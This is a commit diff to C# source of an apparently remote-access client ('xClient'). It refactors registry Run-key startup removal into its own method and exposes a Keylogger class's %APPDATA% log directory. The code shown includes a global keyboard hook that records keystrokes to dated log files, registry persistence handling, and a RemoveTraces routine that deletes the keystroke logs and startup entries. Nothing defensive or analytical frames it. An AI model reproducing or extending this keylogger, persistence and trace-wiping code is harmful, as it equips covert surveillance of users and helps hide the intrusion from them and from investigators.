This commit is contained in:
d3agle 2015-07-27 11:55:34 -05:00
commit ddfdca3cc9
2 changed files with 68 additions and 63 deletions

View File

@ -14,6 +14,7 @@
using xClient.Core.Extensions;
using xClient.Core.Helper;
using xClient.Core.Networking;
using xClient.Core.Utilities;
using xClient.Enums;
namespace xClient.Core
@ -404,6 +405,62 @@ public static void AddToStartup()
}
}
public static void RemoveFromStartup()
{
if (Settings.STARTUP)
{
if (AccountType == "Admin")
{
try
{
using (
RegistryKey key =
Registry.LocalMachine.OpenWritableSubKeySafe("Software\\Microsoft\\Windows\\CurrentVersion\\Run"))
{
if (key != null)
{
key.DeleteValue(Settings.STARTUPKEY, false);
key.Close();
}
}
}
catch
{
// try deleting from Registry.CurrentUser
using (
RegistryKey key =
Registry.CurrentUser.OpenWritableSubKeySafe("Software\\Microsoft\\Windows\\CurrentVersion\\Run"))
{
if (key != null)
{
key.DeleteValue(Settings.STARTUPKEY, false);
key.Close();
}
}
}
}
else
{
try
{
using (
RegistryKey key =
Registry.CurrentUser.OpenWritableSubKeySafe("Software\\Microsoft\\Windows\\CurrentVersion\\Run"))
{
if (key != null)
{
key.DeleteValue(Settings.STARTUPKEY, false);
key.Close();
}
}
}
catch
{
}
}
}
}
public static void Install(bool addToStartup = true)
{
bool isKilled = false;
@ -523,65 +580,13 @@ public static void UpdateClient(Client c, string newFile)
public static void RemoveTraces()
{
if (Settings.STARTUP)
{
if (AccountType == "Admin")
{
try
{
using (
RegistryKey key =
Registry.LocalMachine.OpenWritableSubKeySafe("Software\\Microsoft\\Windows\\CurrentVersion\\Run"))
{
if (key != null)
{
key.DeleteValue(Settings.STARTUPKEY, true);
key.Close();
}
}
}
catch
{
// try deleting from Registry.CurrentUser
using (
RegistryKey key =
Registry.CurrentUser.OpenWritableSubKeySafe("Software\\Microsoft\\Windows\\CurrentVersion\\Run"))
{
if (key != null)
{
key.DeleteValue(Settings.STARTUPKEY, true);
key.Close();
}
}
}
}
else
{
try
{
using (
RegistryKey key =
Registry.CurrentUser.OpenWritableSubKeySafe("Software\\Microsoft\\Windows\\CurrentVersion\\Run"))
{
if (key != null)
{
key.DeleteValue(Settings.STARTUPKEY, true);
key.Close();
}
}
}
catch
{
}
}
}
RemoveFromStartup();
string logsDirectory = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\Logs\\";
if (Directory.Exists(logsDirectory)) // try to delete Logs from Keylogger
if (Directory.Exists(Keylogger.LogDirectory)) // try to delete Logs from Keylogger
{
try
{
Directory.Delete(logsDirectory, true);
Directory.Delete(Keylogger.LogDirectory, true);
}
catch
{

View File

@ -14,9 +14,6 @@ namespace xClient.Core.Utilities
/// This class provides keylogging functionality and modifies/highlights the output for
/// better user experience.
/// </summary>
/// <remarks>
/// The log files will be written to the log directory which is located under '%APPDATA%\Logs\'.
/// </remarks>
public class Keylogger : IDisposable
{
/// <summary>
@ -29,7 +26,11 @@ public class Keylogger : IDisposable
/// </summary>
public bool IsDisposed { get; private set; }
private readonly string _logDirectory;
/// <summary>
/// The directory where the log files will be saved.
/// </summary>
public static string LogDirectory { get { return Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\Logs\\"; } }
private readonly Timer _timerFlush;
private StringBuilder _logFileBuffer;
private List<Keys> _pressedKeys = new List<Keys>();
@ -46,7 +47,6 @@ public Keylogger(double flushInterval)
{
Instance = this;
_lastWindowTitle = string.Empty;
_logDirectory = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\Logs\\";
_logFileBuffer = new StringBuilder();
Subscribe(Hook.GlobalEvents());
@ -244,12 +244,12 @@ private void WriteFile()
{
bool writeHeader = false;
string fileName = _logDirectory + DateTime.Now.ToString("MM-dd-yyyy");
string fileName = LogDirectory + DateTime.Now.ToString("MM-dd-yyyy");
try
{
if (!Directory.Exists(_logDirectory))
Directory.CreateDirectory(_logDirectory);
if (!Directory.Exists(LogDirectory))
Directory.CreateDirectory(LogDirectory);
if (!File.Exists(fileName))
writeHeader = true;